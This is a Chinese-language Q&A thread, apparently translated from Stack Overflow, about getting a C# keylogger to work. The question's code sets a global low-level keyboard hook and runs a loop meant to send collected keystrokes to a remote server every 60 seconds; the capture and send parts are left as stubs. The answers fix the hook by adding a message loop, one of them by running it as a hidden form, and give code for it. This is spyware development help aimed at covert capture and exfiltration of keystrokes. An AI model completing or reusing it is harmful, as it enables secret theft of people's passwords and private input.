我正在用C#编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦。我的代码看起来是正确的,但由于某种原因,回调没有发生。
以下是相关代码:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
SetWindowsHookEx
调用返回一个句柄(即不是null),因此它应该意味着它已经安装,但是当我在HookCallback
中放置一个断点时,它永远不会到达。
任何人都可以告诉我可能做错了吗?
答案 0 :(得分:4)
看起来你正在编写一个控制台应用程序。这应该是一个表单应用程序,因为您正在处理Windows事件。只需隐藏表单,就可以了。
作为控制台应用程序的解决方法,您可以在循环中调用Application.DoEvents()
:
for (;;)
{
Thread.Sleep(1);
Application.DoEvents(); //Process event queue
SendKeyData();
}
请用这个好,而不是邪恶。
答案 1 :(得分:0)
尝试用
替换 GetModuleHandle(null)GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)
看看是否有诀窍。请注意,从GetCurrentProcess()返回的Process对象和从MainModule返回的ProcessModule对象都是一次性的,因此您可能希望将它们声明为变量,然后手动处理它们;更好的是,将它们放在using
块中。